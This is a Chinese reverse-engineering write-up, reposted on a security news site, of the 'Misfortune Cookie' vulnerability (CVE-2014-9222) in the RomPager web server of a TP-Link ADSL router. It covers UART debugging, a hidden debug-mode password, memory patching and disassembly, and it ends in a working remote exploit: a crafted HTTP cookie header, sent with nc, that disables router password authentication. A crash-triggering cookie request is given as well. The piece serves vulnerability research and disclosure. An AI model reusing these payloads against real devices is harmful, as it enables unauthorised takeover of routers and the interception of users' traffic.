技术分析:“厄运cookie”漏洞(CVE-2014-9222)解密

2015-03-04 +15 366358人围观 ,发现 9 个不明物体 漏洞终端安全

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

“厄运cookie”漏洞(CVE-2014-9222)被公开了有一阵子,但在公开环境中还是没有深入分析这个漏洞技术细节的文章。

了解“厄运cookie”漏洞

一个名为“厄运cookie(Misfortune Cookie)”的严重漏洞正在影响全球1200万台路由器安全,D-Link、 TP-Link、华为、中兴等品牌均受到影响,攻击者可以利用漏洞远程控制设备及监控流量。

该漏洞与AllegroSoft公司开发的WEB服务器RomPager有关,RomPager被诸多路由器厂商使用,嵌入路由设备固件以及调制调解器之中。这款WEB服务器可以为路由器提供良好用户体验的Web管理接口。

在RomPager 4.34版之前(RomPager软件已有10多年的历史)存在一个严重的漏洞,这个漏洞被称为厄运cookie(Misfortune Cookie),这是因为它可以让黑客通过操作cookie来控制HTTP请求的“幸运值”。

这个漏洞编号为CVE-2014-9222,如果攻击者向存在漏洞的RomPager服务器发送特定请求,会使得这类网关设备内存紊乱,攻击者获得管理权限。

安全研究人员Shahar Tal称:

“黑客可以发送特定http cookie给网关从而导致设备内存紊乱”

黑客控制设备后,他们可以查看受害者的上网行为,从路由器设备中经过的流量里读取文本信息,改变DNS设置,盗取用户的账户密码和敏感信息。同时,他们还可以监控网络摄像头,电脑以及其他接入网络的设备。

厄运Cookie扫描器?

那些叫做“MisfortuneCookie扫描器”如下所示,只是一个用来获取”/Allegro”路径返回字符串的简单脚本。

cawan$curl 192.168.1.1/Allegro
<html>
    <head>
        <title>AllegroCopyright</title>
    </head>
    <body>
        RomPager Advanced Version 4.07<br/>
        (C) 1995 - 2002 Allegro SoftwareDevelopment Corporation
    </body>
</html>

没啥特别的… 所以让我们进一步挖掘。我使用的路由型号是 TD-8901N,固件版本”TD-W8901Nv1_111211”。 在打开了路由的外壳, Tx和Rx 标记PCB上,说明可以通过UART来进行调试,在启动的过程中通过示波器来探测Tx的数据,表明了工作在3.3v下并且比特率为115200。现在用一个USB-to-UART转换器连接路由后再次启动路由。我们可以看到非常详细的启动日志。然而命令行下很受限,没有什么可以用的东西,如下所示:

Copyright(c) 2001 - 2012 TP-LINK TECHNOLOGIES CO., LTD.
TP-LINK>
TP-LINK>?
Validcommands are:
sys             exit            ether           wan            
etherdbg        tcephydbg       ip              bridge          
dot1q           pktqos          show            set            
lan                                                             
TP-LINK>

至少,我们可以在zynosbootloader上停止启动的过程

BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00
RAM: Size= 8192 Kbytes
Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000
SPI FlashQuad Enable
Turn offQuad Mode
 
RASVersion: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18
 
Press anykey to enter debug mode within 3 seconds.
.......
EnterDebug Mode

在调试模式下,我们可以使用和AT命令有点相似的zynos命令,如下所示:

EnterDebug Mode
athe
=======Debug Command Listing =======
AT          just answer OK
ATHE          print help
ATBAx         change baudrate. 1:38.4k, 2:19.2k,3:9.6k 4:57.6k 5:115.2k
ATENx,(y)     set BootExtension Debug Flag (y=password)
ATSE          show the seed of password generator
ATTI(h,m,s)   change system time to hour:min:sec or showcurrent time
ATDA(y,m,d)   change system date to year/month/day or showcurrent date
ATDS          dump RAS stack
ATDT          dump Boot Module Common Area
ATDUx,y       dump memory contents from address x forlength y
ATRBx         display the  8-bit value of address x
ATRWx         display the 16-bit value of address x
ATRLx         display the 32-bit value of address x
ATGO(x)       run program at addr x or boot router
ATGR          boot router
ATGT          run Hardware Test Program
ATRTw,x,y(,z)RAM test level w, from address x to y (z iterations)
ATSH          dump manufacturer related data in ROM
ATDOx,y       download from address x for length y toPC via XMODEM
ATTD          download router configuration to PCvia XMODEM
ATUR          upload router firmware to flash ROM
 
< pressany key to continue >

通过Piotrbania [1]得知, 在一个可以被触发的“上帝模式”中可以启用隐藏的命令。那些隐藏的命令可以让我们查看内存的映射和编辑内存的内容,如下所示:

ATEN1,A847D6B1
OK
athe
=======Debug Command Listing =======
AT          just answer OK
ATHE          print help
ATBAx         change baudrate. 1:38.4k, 2:19.2k,3:9.6k 4:57.6k 5:115.2k
ATENx,(y)     set BootExtension Debug Flag (y=password)
ATSE          show the seed of password generator
ATTI(h,m,s)   change system time to hour:min:sec or showcurrent time
ATDA(y,m,d)   change system date to year/month/day or showcurrent date
ATDS          dump RAS stack
ATDT          dump Boot Module Common Area
ATDUx,y       dump memory contents from address x forlength y
ATWBx,y       write address x with  8-bit value y
ATWWx,y       write address x with 16-bit value y
ATWLx,y       write address x with 32-bit value y
ATRBx         display the  8-bit value of address x
ATRWx         display the 16-bit value of address x
ATRLx         display the 32-bit value of address x
ATGO(x)       run program at addr x or boot router
ATGR          boot router
ATGT          run Hardware Test Program
AT%Tx         Enable Hardware Test Program at bootup
ATBTx         block0 write enable (1=enable,other=disable)
 
< pressany key to continue >
ATRTw,x,y(,z)RAM test level w, from address x to y (z iterations)
ATWEa(,b,c,d)write MAC addr, Country code, EngDbgFlag, FeatureBit to flash ROM
ATCUx         write Country code to flash ROM
ATCB          copy from FLASH ROM to working buffer
ATCL          clear working buffer
ATSB          save working buffer to FLASH ROM
ATBU          dump manufacturer related data inworking buffer
ATSH          dump manufacturer related data in ROM
ATWMx         set low 6 digits MAC address inworking buffer
ATMHx         set hight 6 digits MAC address inworking buffer
ATBS          show the bootbase seed of passwordgenerator
ATLBx         xmodem upload bootbase,x is password
ATSMx         set 6 digits MAC address in workingbuffer
ATCOx         set country code in working buffer
ATFLx         set EngDebugFlag in working buffer
ATSTx         set ROMRAS address in working buffer
ATSYx         set system type in working buffer
ATVDx         set vendor name in working buffer
ATPNx         set product name in working buffer
ATFEx,y,...   set feature bits in working buffer
ATMP          check & dump memMapTab
ATDOx,y       download from address x for length y toPC via XMODEM
 
< pressany key to continue >
ATTD          download router configuration to PCvia XMODEM
ATUPx,y       upload to RAM address x for length yfrom PC via XMODEM
ATUR          upload router firmware to flash ROM
ATDC          hardware version check disable duringuploading firmware
ATLC          upload router configuration file toflash ROM
ATUXx(,y)     xmodem upload from flash block x to y
ATERx,y       erase flash rom from block x to y
ATWFx,y,z     copy data from addr x to flash addr y,length z
ATXSx         xmodem select: x=0: CRC mode(default);x=1: checksum mode
ATLD          Upload Configuration File and DefaultROM File to Flash
ATBR              Reset to default Romfile
ATCD          Convert Running ROM File to DefaultROM File into Flash
 
OK
atmp
                                                                                                     
ROMIOimage start at bfc30000
 
  1: HTPCode(RAMCODE), start=80048000,len=E0000
  2: RasCode(RAMCODE), start=80048000,len=6E0000
$ROMSection:
  3: BootBas(ROMIMG), start=bfc28000, len=4000
  4: DbgArea(ROMIMG), start=bfc2c000, len=2000
  5: RomDir2(ROMDIR), start=bfc2e000, len=2000
  6: BootExt(ROMIMG), start=bfc30030, len=13FD0
  7: MemMapT(ROMMAP), start=bfc44000, len=C00
  8: HTPCode(ROMBIN), start=bfc44c00, len=8000
     (Compressed)
     Version: HTP_TC V 0.05, start: bfc44c30
     Length: 10488, Checksum: CB32
     Compressed Length: 41CF, Checksum: D5A5
  9: termcap(ROMIMG), start=bfc4cc00, len=400
 10: RomDefa(ROMIMG), start=bfc4d000, len=2000
 11: LedDefi(ROMIMG), start=bfc4f000, len=400
 12: LogoImg(ROMIMG), start=bfc4f400, len=2000
 13: LogoImg2(ROMIMG), start=bfc51400, len=2000
 14: StrImag(ROMIMG), start=bfc53400, len=32000
 15: Rt11nE2p(ROMIMG), start=bfc85400, len=400
 16: fdata(ROMBIN), start=bfc85800, len=10000
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
 17: RasCode(ROMBIN), start=bfc95800,len=192800
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

简单总结

1) 最初的执行是从地址0xbfc00000开始的 我们可以通过下面操作来验证:

atgobfc00000
 
BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00
RAM: Size= 8192 Kbytes
Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000
SPI FlashQuad Enable
Turn offQuad Mode
 
RASVersion: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18
 
Press anykey to enter debug mode within 3 seconds.
.........
EnterDebug Mode

2) zynosbootloader 从地址0×80000000开始的。在执行的前一阶段它会解包和解压。如下所示,这并不完全是在ras固件的0x14C33镜像

cawan$binwalk ras
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
61315         0xEF83          ZyXEL rom-0 configuration block,name: "dbgarea", ...
61564         0xF07C          ZyXEL rom-0 configuration block, name:"dbgarea", ...
85043         0x14C33         LZMA compressed data, properties: 0x5D...
118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\
118804        0x1D014         ZyXEL rom-0 configuration block, name:"spt.dat", ...
118824        0x1D028         ZyXEL rom-0 configuration block, name:"autoexec.net", ...
128002        0x1F402         GIF image data, version"89a", 200 x 50
136194        0x21402         GIF image data, version"89a", 560 x 50
244317        0x3BA5D         Neighborly text, "neighbor ofyour ADSL Router that ...
281224        0x44A88         Unix path: /I/J/L/M
328173        0x501ED         Copyright string: "Copyright (c)2001 - 2012 TP-LINK ...
350259        0x55833         LZMA compressed data, properties:0x5D, ...
415795        0x65833         LZMA compressed data, properties:0x5D, ...

所以,应该通过atdo命令将它从内存中备份出来。

3) 路由所用的RTOS THREADX和allegrorompager一起从地址0×80020000开始。再一次,在执行的前一阶段它会解包和解压。至少地址0×65883的镜像会完整的从固件中提取出来,如下所示。除此之外,处理器构架也能够像下面这样探测到。

cawan$binwalk --disasm --minsn=100 65833
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             MIPS executable code, 32/64-bit,big endian, ...

所以, 0×65883的镜像已经准备载入IDA Pro ,其基址0×8002000,处理器构架为MIPS大端。通过 Lior Oppenheim and Shahar Tal [2]得知, 这个漏洞的存在是因为rompager的web服务器中缺少了对“Cookie: C”的解释,当我们如下所做:

cawan$curl --header 'Cookie: C' 192.168.1.1

会导致路由出现某种错误并且立即重启。通过UART口的信息,我们可以到类似“Kernel Panic”的错误输出。如下所示:

TP-LINK>
TLB refillexception occured!
EPC=0x8010E5D8
SR=0x10000003
CR=0xC080500C
$RA=0x00000000
BadVirtual Address = 0x00000000
UTLB_TLBS..\core\sys_isr.c:267 sysreset()
 
 
        $r0= 0x00000000 $at= 0x80350000 $v0=0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2=0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38$t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6=0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2=0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6=0x8040E5FC $s7= 0x00000000
        $t8= 0x804A9E48 $t9= 0x00000000 $k0=0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp=0x805E2BC8 $ra= 0x8003A3D0
 
 
          00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F
 
805e2bc8:80 5e 2b f8 80 04 2a 70 80 4e d5 ba 00 00 00 01     .^+...*p.N......
805e2bd8:80 4e d5 ba 00 00 00 00 80 40 f8 ac 80 48 4e 29     .N.......@...HN)
805e2be8:80 55 54 4c 42 5f 54 4c 42 53 00 ba 80 41 34 0c     .UTLB_TLBS...A4.
805e2bf8:80 5e 2c 18 80 10 e5 e0 80 42 64 dc 80 4e d5 b9     .^,......Bd..N..
805e2c08:80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@......
805e2c18:80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@......
805e2c28:00 00 00 00 80 16 c4 28 80 5e 2c 40 80 10 ec 28     .......(.^,@...(
...
...
805e2f68:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f78:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f88:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2f98:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fa8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fb8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805e2fc8:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
 
 current task  = httpd
 dump task     = network
 tx_stack_ptr  = 0x805D5990
 tx_stack_start = 0x805D3AF0
 tx_stack_end  = 0x805D5AEF
 tx_stack_size = 0x00002000
 tx_run_count  = 0x00000220
          00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F
 
805d5990:00 00 00 00 80 5d 5a 70 80 44 2b f8 80 4a db 98     .....]Zp.D+..J..
805d59a0:80 44 2c 8c 80 44 2c 90 80 44 2c 7c 80 44 2c 94     .D,..D,..D,|.D,.
805d59b0:80 4a db 98 10 00 00 01 00 00 00 0a 00 00 00 00     .J..............
805d59c0:80 1e cc ac 10 00 00 01 00 00 00 00 80 51 47 98     .............QG.
805d59d0:00 00 00 00 00 00 05 dc 00 00 00 14 c0 a8 01 90     ................
805d59e0:80 5d 5a 90 80 07 20 c8 80 45 23 34 00 00 00 01     .]Z... ..E#4....
805d59f0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805d5a00:00 00 00 00 80 4d ac 88 80 52 90 38 00 00 00 01     .....M...R.8....
805d5a10:c0 a8 01 90 00 00 00 01 80 5d 5a 90 80 51 47 98     .........]Z..QG.
805d5a20:80 45 23 34 00 00 00 14 00 00 00 00 00 00 00 00     .E#4............
805d5a30:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................
805d5a40:00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 01 01     ................
805d5a50:10 00 00 01 80 4a db 98 00 00 00 00 00 00 00 00     .....J..........
...
...
Reservefor Print when Crash
 
Erasing 4KSector...
 
Erasing 4KSector...
 
writeRomBlock():Erase OK!

现在我们可以看出,错误出现在httpd的进程上,而且PC指针指向0x8010E5D8。让我们在IDA Pro中查细节

ROM:8010E5B0loc_8010E5B0:                           # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0      
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0      
ROM:8010E5D0                 move    $s1, $v0      
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1)
ROM:8010E5E0                 move    $a0, $s1      
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3,$v0      
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2  
ROM:8010E5F4                 move    $a1, $s1      
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0  
ROM:8010E604                 addu    $a0, $t5, $t2  
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644  
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  #---------------------------------------------------------------------------

令人兴奋的是,这正是[2]中所提及的代码。在ROM:8010E5F0中,看起来Cxxx=yyy语法会被解释成xxx乘以0×28再将结果加上ROM:8010E5F8中所示的基址,然后使用这个新地址作为目的地址复制yyy的值(ROM:8010E608)。因此,这可以让我们实现任意写。从另外一方面来说,这有可能能让我们以”sys pwauthen 0”的形式”解锁”路由,如下所示:

cawan$curl 192.168.1.1
<html>
    <head>
        <title>ProtectedObject</title>
    </head>
    <body>
        <h1>ProtectedObject</h1>Username or Password error
    </body>
</html>
TP-LINK>sys pswauthen 0
Do notneed password authentication for configuration!
TP-LINK>
cawan$curl 192.168.1.1
<html>
    <head>
        <title></title>
    </head>
    <frameset border="0"frameborder="0" framespacing="0"rows="65,75,*">
        <frame marginheight="0"marginwidth="0" name="header" noresize=""src="status.html"></frame>
        <frame marginheight="0"marginwidth="0" name="navigation" noresize=""src="navigation-status.html"></frame>
        <frame marginheight="0"marginwidth="0" name="main" noresize=""src="../status/status_deviceinfo.htm"></frame>
    </frameset>
    <noframes></noframes>
</html>

所以,让我们来找出“解锁”字节的准确位置。通过追踪字符串”Do not need passwordauthentication for configuration!”,在ROM:801F9168的指令中,看起来“解锁”字节在地址0x8034FF94上。现在,让我们来验证它。通过0×80000000的内存备份,固件的解压工作在地址0x80014BC0之前已经完成,还有通过指令”jalr $s0”跳转到 0×80020000地址。通过IDA Pro,我们可以知道$at 等于0×80020000,如果我们把ROM:0x80014BC0的指令”jalr $s0”更改到”sw $s0, -4($at)”,那么当镜像被解压后,它会复制$s0里面的内容到0x8001FFFC,然后在这停止启动。所以通过读取地址0x8001FFFC的内容,我们可以知道zynos将要跳转到0×80020000或者其他地方。

让我们试一试:

BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00
RAM: Size= 8192 Kbytes
Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000
SPI FlashQuad Enable
Turn offQuad Mode
 
RASVersion: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18
 
Press anykey to enter debug mode within 3 seconds.
............
EnterDebug Mode
ATEN1,A847D6B1
OK
ATWL80014BC0, ac30fffc
OK
atgr
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash datais the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612
 
ERROR
atrl8001fffc
8001FFFC:80020000

这里有一个小小的提醒,ac30fffc是”sw $s0, -4($at)”的16进制值。现在我们可以确定解压后的镜像基址在0×80020000。这如上面所提及到的,我们知道”解锁”字节在地址0x8034FF94上,如果我们将它从”1”改到”0”,那么此时路由应该不需要密码验证了。让我们来试试看:

atrb8034ff94
8034FF94:01
 
OK
atwb8034ff94,0
OK
atgo80020000
 
Copyright(c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initializech = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initializech = 1, ethernet address: 14:cc:20:57:38:2a
WanChannel init ........ done
Reset dmt
Check DMTversion =b2 ........
InitializingADSL F/W ........ done
ADSL HWversion: b2, HCLK 140
ok
 
==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswapon,DS bitswap on
OlrON
SRAON
Testlab 32
largeD flag=2(0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse: on
 
inputline: sysdisa
Erasing 4KSector...
 
Erasing 4KSector...
 
writeRomBlock():Erase OK!
ble PM!
DyingaspOFF!
dhcpaddress probe action is disabled
Valid Lossof power OFF!
rundistributePvcFakeMac!
set trymultimode number to 3 (dropmode try num 3)
Syncookieswitch On!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
run d
Erasing 4KSector...
 
Erasing 4KSector...
 
writeRomBlock():Erase OK!
istributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
PressENTER to continue...
cawan$curl 192.168.1.1
<html>
    <head><title></title>
    </head>
    <frameset border="0"frameborder="0" framespacing="0" rows="65,75,*">
        <frame marginheight="0"marginwidth="0" name="header" noresize=""src="status.html"></frame>
        <frame marginheight="0"marginwidth="0" name="navigation" noresize=""src="navigation-status.html"></frame>
        <frame marginheight="0"marginwidth="0" name="main" noresize=""src="../status/status_deviceinfo.htm"></frame>
    </frameset>
    <noframes></noframes>
</html>

好极了,毫无疑问的是现在已经工作在“解锁”模式了。所以现在是时候远程利用这个漏洞了。通过httpd代码段可以知道,看起来我们为了算出在ROM:8010E608中写操作的目的地址应该先了解在ROM:8010E5F8的$s4值是多少。代码段如下所示:

ROM:8010E5B0loc_8010E5B0:                           # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0      
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0      
ROM:8010E5D0                 move    $s1, $v0      
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1)
ROM:8010E5E0                 move    $a0, $s1      
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0      
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2  
ROM:8010E5F4                 move    $a1, $s1      
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28  # $s4 = ?
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0  
ROM:8010E604                 addu    $a0, $t5, $t2  
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644  
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  #---------------------------------------------------------------------------

现在的问题是如何获得在ROM:8010E5F8中$s4的值? 其实很简单,只要将$s4里面的内容复制到一个很少用到的寄存器如$s7,然后立即触发”Kernel Painc”。我们现在来试试,首先我们将

ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0

改变成

ROM:8010E5FC                 add    $s7, $s4,$zero
ROM:8010E600                 jr    $zero

这两条指令的hex值为

"add$s7, $s4,$zero"   =  0x0280b820
"jr$zero"             =  0x00000008

此时,我们就能获得$s4的值

BootbaseVersion: VTC_SPI1.26 |  2012/12/2616:00:00
RAM: Size= 8192 Kbytes
Found SPIFlash 2MiB Winbond W25Q16 at 0xbfc00000
SPI FlashQuad Enable
Turn offQuad Mode
 
RASVersion: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.020120518_V003  | 2012/05/18
 
Press anykey to enter debug mode within 3 seconds.
.......
EnterDebug Mode
ATEN1,A847D6B1
OK
ATWL80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash datais the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612
 
ERROR
ATWL8010E5FC, 0280b820
OK
ATWL8010E600, 00000008
OK
ATGO80020000
 
Copyright(c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
initializech = 0, TC2105MJ, ethernet address: 14:cc:20:57:38:2a
initializech = 1, ethernet address: 14:cc:20:57:38:2a
WanChannel init ........ done
Reset dmt
Check DMTversion =b2 ........
InitializingADSL F/W ........ done
ADSL HWversion: b2, HCLK 140
ok
 
==>natTableMemoryInit
<==natTableMemoryInitANNEXAIJLM
US bitswapon,DS bitswap on
OlrON
SRAON
Testlab 32
largeDflag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse: on
 
inputline: sysdisa
Erasing 4KSector...
 
Erasing 4KSector...
 
writeRomBlock():Erase OK!
ble PM!
DyingaspOFF!
dhcpaddress probe action is disabled
Valid Lossof power OFF!
rundistributePvcFakeMac!
set trymultimode number to 3 (dropmode try num 3)
Syncookieswitch On!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
run d
Erasing 4KSector...
 
Erasing 4KSector...
 
writeRomBlock():Erase OK!
istributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
rundistributePvcFakeMac!
PressENTER to continue...
 
Erasing 4KSector...
 
Erasing 4KSector...
 
writeRomBlock():Erase OK!

现在只要简单的发出一个cookie给路由,就会立即触发”Kernel Panic”

cawan$curl --header 'Cookie: C9=9' 192.168.1.1

在UART端口,我们能够立即看到 :)

TLB refillexception occured!
EPC=0x00000000
SR=0x10000003
CR=0x50805808
$RA=0x80020000
BadVirtual Address = 0x00000000
UTLB_TLBL..\core\sys_isr.c:267 sysreset()
 
 
        $r0= 0x00000000 $at= 0x80350000 $v0=0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2=0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2=0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6=0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2=0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6=0x8040E5FC $s7= 0x8040F8AC
        $t8= 0x804A9E48 $t9= 0x00000000 $k0=0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp=0x805E2BC8 $ra= 0x8003A3D0
 
 
          00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F
 
805e2bc8:80 5e 2b f8 80 04 2a 70 80 4e fe 1e 80 4e fe 20     .^+...*p.N...N.
805e2bd8:80 4e fe 21 00 00 00 09 80 40 f8 ac 80 48 4e 29     .N.!.....@...HN)
805e2be8:80 55 54 4c 42 5f 54 4c 42 4c 00 21 80 1f 2e 88     .UTLB_TLBL.!....
805e2bf8:80 5e 2c 18 80 10 e5 ec 80 42 64 dc 80 4e fe 1d     .^,......Bd..N..
805e2c08:80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@......
805e2c18:80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@......
...
...

好了, 正如我们想要实现的,EPC为 0×00000000。除此之外$s7的值为0x8040F8AC 也就是我们所寻找的$s4的值

现在,我们知道了$s4的值为0x8040F8AC,还有$t5的值为0x804163D4,即0x804163D4是对目的地址进行写操作的基址。因为我们需要覆盖0x8034FF94的值,所以:

0x8034FF94- 0x804163D4 = 0xFFF39BC0     # do thisin dword
0xFFF39BC0% 0x28 = 0                   # do this inqword
0xFFF39BC0/ 0x28 = 0x06661718           # do thisin qword
0x06661718= 107353880 (in decimal)

因为地址0x8034FF94正好是0×28字节对齐的chunk中的地一个字节,以至于我们只能通过null(0×00)覆盖一个字节。然而,如果我们通过curl给路由发送一个特别构造的数据包是有点不恰当,因为curl会用0x0d0a0d0a填充header。作为替代用nc来发送特别构造的数据包是一个更好的选择。将这个特别构造的数据包定义成一个文件再通过管道传到nc再发送至路由来远程“解锁”。让我们现在来试试

cawan$ cat./cawan_header | xxd
0000000:4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U
0000010:7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/
0000020:372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030:2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040:202a 2f2a 0a43 6f6f 6b69 653a 2043 3130  */*.Cookie: C10
0000050:3733 3533 3838 303d 000a                7353880=..
cawan$curl 192.168.1.1
<html>
<head>
<title>ProtectedObject</title></head><body>
<h1>
ProtectedObject</h1>
Usernameor Password error</body></html>
cawan$
cawan$ catcawan_header | nc 192.168.1.1 80
cawan$
cawan$curl 192.168.1.1
<html>
    <head><title></title>
    </head>
    <frameset border="0"frameborder="0" framespacing="0"rows="65,75,*">
        <frame marginheight="0"marginwidth="0" name="header" noresize=""src="status.html"></frame>
        <frame marginheight="0"marginwidth="0" name="navigation" noresize=""src="navigation-status.html"></frame>
        <frame marginheight="0"marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame>
    </frameset>
   <noframes></noframes>
</html>

Cool,完成了,看起来Misfortune Cookie漏洞真是有意思。

参考资料

[1] http://piotrbania.com/all/articles/tplink_patch/

[2] http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf

PDF下载

https://www.scribd.com/doc/256266998/Misfortune-Cookie-Demystified

闲聊无意发现一个网站有此篇文章,故此多番打听才知道该文章由一个不知名团队Evil.Team的Cawan发布,而cawan就是著名的马来西亚大牛茶博士,其余成员暂无任何资料,据了解此团队主要研究嵌入式设备安全、物联网安全、信号系统安全、协议安全等。

[作者/Cawan,参考来源embedsec.systems,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

更多精彩
相关推荐
发表评论

已有 9 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

1 文章数 0 评论数 0 关注者

文章目录

    特别推荐

    推荐关注

    官方公众号

    聚焦企业安全

    填写个人信息

    姓名
    电话
    邮箱
    公司
    行业
    职位
